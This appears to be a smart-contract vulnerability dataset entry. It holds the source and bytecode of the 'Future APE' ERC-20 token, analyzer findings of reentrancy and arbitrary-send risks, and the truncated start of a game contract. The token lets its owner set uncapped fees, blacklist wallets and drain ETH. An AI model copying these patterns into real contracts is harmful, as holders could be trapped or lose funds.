uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Future APE";
string private constant _symbol = "FAPE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 4;
uint256 private _taxFeeJeets = 8;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 60;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable public _marketingAddress;
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e10 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketingAddress) {
_marketingAddress = marketingAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initCreatePair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 5 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102345760003560e01c8063715018a61161012e5780639f131571116100ab578063dd62ed3e1161006f578063dd62ed3e1461068c578063e0f9f6a0146106d2578063ea1644d5146106f2578063f2fde38b14610712578063fe72c3c11461073257600080fd5b80639f131571146105f7578063a9059cbb14610617578063ada8a6de14610637578063c55284901461064c578063caac79341461066c57600080fd5b8063881dce60116100f2578063881dce60146105565780638da5cb5b146105765780638f9a55c01461059457806395d89b41146105aa5780639ec350ed146105d757600080fd5b8063715018a6146104e057806374010ece146104f5578063790ca413146105155780637c519ffb1461052b5780637d1db4a51461054057600080fd5b8063313ce567116101bc5780635d098b38116101805780635d098b38146104555780636b9cf534146104755780636d8aa8f81461048b5780636fc3eaec146104ab57806370a08231146104c057600080fd5b8063313ce567146103b957806333251a0b146103d557806338eea22d146103f557806349bd5a5e146104155780634bf2c7c91461043557600080fd5b806318160ddd1161020357806318160ddd1461032657806323b872dd1461034b57806327c8f8351461036b57806328bb665a146103815780632fd689e3146103a357600080fd5b806306fdde0314610240578063095ea7b3146102855780630f3a325f146102b55780631694505e146102ee57600080fd5b3661023b57005b600080fd5b34801561024c57600080fd5b5060408051808201909152600a8152694675747572652041504560b01b60208201525b60405161027c9190611f07565b60405180910390f35b34801561029157600080fd5b506102a56102a0366004611f81565b610748565b604051901515815260200161027c565b3480156102c157600080fd5b506102a56102d0366004611fad565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102fa57600080fd5b5060195461030e906001600160a01b031681565b6040516001600160a01b03909116815260200161027c565b34801561033257600080fd5b50670de0b6b3a76400005b60405190815260200161027c565b34801561035757600080fd5b506102a5610366366004611fca565b61075f565b34801561037757600080fd5b5061030e61dead81565b34801561038d57600080fd5b506103a161039c366004612021565b6107c8565b005b3480156103af57600080fd5b5061033d601d5481565b3480156103c557600080fd5b506040516009815260200161027c565b3480156103e157600080fd5b506103a16103f0366004611fad565b610867565b34801561040157600080fd5b506103a16104103660046120e6565b6108d6565b34801561042157600080fd5b50601a5461030e906001600160a01b031681565b34801561044157600080fd5b506103a1610450366004612108565b61090b565b34801561046157600080fd5b506103a1610470366004611fad565b61093a565b34801561048157600080fd5b5061033d601e5481565b34801561049757600080fd5b506103a16104a6366004612121565b610994565b3480156104b757600080fd5b506103a16109dc565b3480156104cc57600080fd5b5061033d6104db366004611fad565b610a06565b3480156104ec57600080fd5b506103a1610a28565b34801561050157600080fd5b506103a1610510366004612108565b610a9c565b34801561052157600080fd5b5061033d600a5481565b34801561053757600080fd5b506103a1610acb565b34801561054c57600080fd5b5061033d601b5481565b34801561056257600080fd5b506103a1610571366004612108565b610b25565b34801561058257600080fd5b506000546001600160a01b031661030e565b3480156105a057600080fd5b5061033d601c5481565b3480156105b657600080fd5b506040805180820190915260048152634641504560e01b602082015261026f565b3480156105e357600080fd5b506103a16105f23660046120e6565b610ba1565b34801561060357600080fd5b506103a1610612366004612121565b610bd6565b34801561062357600080fd5b506102a5610632366004611f81565b610c1e565b34801561064357600080fd5b506103a1610c2b565b34801561065857600080fd5b506103a16106673660046120e6565b610de3565b34801561067857600080fd5b5060175461030e906001600160a01b031681565b34801561069857600080fd5b5061033d6106a7366004612143565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106de57600080fd5b506103a16106ed366004612108565b610e18565b3480156106fe57600080fd5b506103a161070d366004612108565b610e54565b34801561071e57600080fd5b506103a161072d366004611fad565b610e83565b34801561073e57600080fd5b5061033d60185481565b6000610755338484610f6d565b5060015b92915050565b600061076c848484611091565b6107be84336107b98560405180606001604052806028815260200161231c602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906117b8565b610f6d565b5060019392505050565b6000546001600160a01b031633146107fb5760405162461bcd60e51b81526004016107f29061217c565b60405180910390fd5b60005b81518110156108635760016009600084848151811061081f5761081f6121b1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085b816121dd565b9150506107fe565b5050565b6000546001600160a01b031633146108915760405162461bcd60e51b81526004016107f29061217c565b6001600160a01b03811660009081526009602052604090205460ff16156108d3576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016107f29061217c565b600d91909155600f55565b6000546001600160a01b031633146109355760405162461bcd60e51b81526004016107f29061217c565b601355565b6017546001600160a01b0316336001600160a01b03161461095a57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109be5760405162461bcd60e51b81526004016107f29061217c565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109fc57600080fd5b476108d3816117f2565b6001600160a01b0381166000908152600260205260408120546107599061182c565b6000546001600160a01b03163314610a525760405162461bcd60e51b81526004016107f29061217c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac65760405162461bcd60e51b81526004016107f29061217c565b601b55565b6000546001600160a01b03163314610af55760405162461bcd60e51b81526004016107f29061217c565b601a54600160a01b900460ff1615610b0c57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b4557600080fd5b610b4e30610a06565b8111158015610b5d5750600081115b610b985760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107f2565b6108d3816118b0565b6000546001600160a01b03163314610bcb5760405162461bcd60e51b81526004016107f29061217c565b600b91909155600c55565b6000546001600160a01b03163314610c005760405162461bcd60e51b81526004016107f29061217c565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b6000610755338484611091565b6000546001600160a01b03163314610c555760405162461bcd60e51b81526004016107f29061217c565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610cba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cde91906121f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f91906121f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc091906121f6565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610e0d5760405162461bcd60e51b81526004016107f29061217c565b600e91909155601055565b6000546001600160a01b03163314610e425760405162461bcd60e51b81526004016107f29061217c565b610e4e81610e10612213565b60185550565b6000546001600160a01b03163314610e7e5760405162461bcd60e51b81526004016107f29061217c565b601c55565b6000546001600160a01b03163314610ead5760405162461bcd60e51b81526004016107f29061217c565b6001600160a01b038116610f125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fcf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107f2565b6001600160a01b0382166110305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107f2565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107f2565b6001600160a01b0382166111575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107f2565b600081116111b95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107f2565b6001600160a01b03821660009081526009602052604090205460ff16156111f25760405162461bcd60e51b81526004016107f290612232565b6001600160a01b03831660009081526009602052604090205460ff161561122b5760405162461bcd60e51b81526004016107f290612232565b3360009081526009602052604090205460ff161561125b5760405162461bcd60e51b81526004016107f290612232565b6000546001600160a01b0384811691161480159061128757506000546001600160a01b03838116911614155b1561160057601a54600160a01b900460ff166112e55760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107f2565b601a546001600160a01b03838116911614801561131057506019546001600160a01b03848116911614155b156113c2576001600160a01b038216301480159061133757506001600160a01b0383163014155b801561135157506017546001600160a01b03838116911614155b801561136b57506017546001600160a01b03848116911614155b156113c257601b548111156113c25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107f2565b601a546001600160a01b038381169116148015906113ee57506017546001600160a01b03838116911614155b801561140357506001600160a01b0382163014155b801561141a57506001600160a01b03821661dead14155b156114fa57601c548161142c84610a06565b6114369190612259565b1061148f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107f2565b601a54600160b81b900460ff16156114fa57600a546114b09061012c612259565b42116114fa57601e548111156114fa5760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107f2565b600061150530610a06565b601d5490915081118080156115245750601a54600160a81b900460ff16155b801561153e5750601a546001600160a01b03868116911614155b80156115535750601a54600160b01b900460ff165b801561157857506001600160a01b03851660009081526006602052604090205460ff16155b801561159d57506001600160a01b03841660009081526006602052604090205460ff16155b156115fd57601354600090156115d8576115cd60646115c760135486611a2a90919063ffffffff16565b90611aac565b90506115d881611aee565b6115ea6115e58285612271565b6118b0565b4780156115fa576115fa476117f2565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061164257506001600160a01b03831660009081526006602052604090205460ff165b806116745750601a546001600160a01b038581169116148015906116745750601a546001600160a01b03848116911614155b15611681575060006117a6565b601a546001600160a01b0385811691161480156116ac57506019546001600160a01b03848116911614155b15611707576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a549003611707576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561173257506019546001600160a01b03858116911614155b156117a6576001600160a01b0384166000908152600460205260409020541580159061178357506018546001600160a01b038516600090815260046020526040902054429161178091612259565b10155b1561179957600b54601155600c546012556117a6565b600f546011556010546012555b6117b284848484611afb565b50505050565b600081848411156117dc5760405162461bcd60e51b81526004016107f29190611f07565b5060006117e98486612271565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610863573d6000803e3d6000fd5b60006007548211156118935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107f2565b600061189d611b2f565b90506118a98382611aac565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118f8576118f86121b1565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611951573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061197591906121f6565b81600181518110611988576119886121b1565b6001600160a01b0392831660209182029290920101526019546119ae9130911684610f6d565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906119e7908590600090869030904290600401612288565b600060405180830381600087803b158015611a0157600080fd5b505af1158015611a15573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082600003611a3c57506000610759565b6000611a488385612213565b905082611a5585836122f9565b146118a95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107f2565b60006118a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b52565b6108d33061dead83611091565b80611b0857611b08611b80565b611b13848484611bc5565b806117b2576117b2601454601155601554601255601654601355565b6000806000611b3c611cbc565b9092509050611b4b8282611aac565b9250505090565b60008183611b735760405162461bcd60e51b81526004016107f29190611f07565b5060006117e984866122f9565b601154158015611b905750601254155b8015611b9c5750601354155b15611ba357565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611bd787611cfc565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c099087611d59565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c389086611d9b565b6001600160a01b038916600090815260026020526040902055611c5a81611dfa565b611c648483611e44565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ca991815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611cd78282611aac565b821015611cf357505060075492670de0b6b3a764000092509050565b90939092509050565b6000806000806000806000806000611d198a601154601254611e68565b9250925092506000611d29611b2f565b90506000806000611d3c8e878787611eb7565b919e509c509a509598509396509194505050505091939550919395565b60006118a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b8565b600080611da88385612259565b9050838110156118a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107f2565b6000611e04611b2f565b90506000611e128383611a2a565b30600090815260026020526040902054909150611e2f9082611d9b565b30600090815260026020526040902055505050565b600754611e519083611d59565b600755600854611e619082611d9b565b6008555050565b6000808080611e7c60646115c78989611a2a565b90506000611e8f60646115c78a89611a2a565b90506000611ea782611ea18b86611d59565b90611d59565b9992985090965090945050505050565b6000808080611ec68886611a2a565b90506000611ed48887611a2a565b90506000611ee28888611a2a565b90506000611ef482611ea18686611d59565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611f3457858101830151858201604001528201611f18565b81811115611f46576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108d357600080fd5b8035611f7c81611f5c565b919050565b60008060408385031215611f9457600080fd5b8235611f9f81611f5c565b946020939093013593505050565b600060208284031215611fbf57600080fd5b81356118a981611f5c565b600080600060608486031215611fdf57600080fd5b8335611fea81611f5c565b92506020840135611ffa81611f5c565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561203457600080fd5b823567ffffffffffffffff8082111561204c57600080fd5b818501915085601f83011261206057600080fd5b8135818111156120725761207261200b565b8060051b604051601f19603f830116810181811085821117156120975761209761200b565b6040529182528482019250838101850191888311156120b557600080fd5b938501935b828510156120da576120cb85611f71565b845293850193928501926120ba565b98975050505050505050565b600080604083850312156120f957600080fd5b50508035926020909101359150565b60006020828403121561211a57600080fd5b5035919050565b60006020828403121561213357600080fd5b813580151581146118a957600080fd5b6000806040838503121561215657600080fd5b823561216181611f5c565b9150602083013561217181611f5c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016121ef576121ef6121c7565b5060010190565b60006020828403121561220857600080fd5b81516118a981611f5c565b600081600019048311821515161561222d5761222d6121c7565b500290565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b6000821982111561226c5761226c6121c7565b500190565b600082821015612283576122836121c7565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122d85784516001600160a01b0316835293830193918301916001016122b3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261231657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e6612dc2051735ca6bd0e60123042665121a308f01abde8b68c6c7761bea2fd164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,460 |
0xd7afbf5141a7f1d6b0473175f7a6b0a7954ed3d2
|
pragma solidity ^0.4.25;
/*
* CryptoMiningWar - Blockchain-based strategy game
* Author: InspiGames
* Website: https://cryptominingwar.github.io/
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
/**
* @dev Withdraw accumulated balance, called by payee.
*/
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function asyncSend(address dest, uint256 amount) internal {
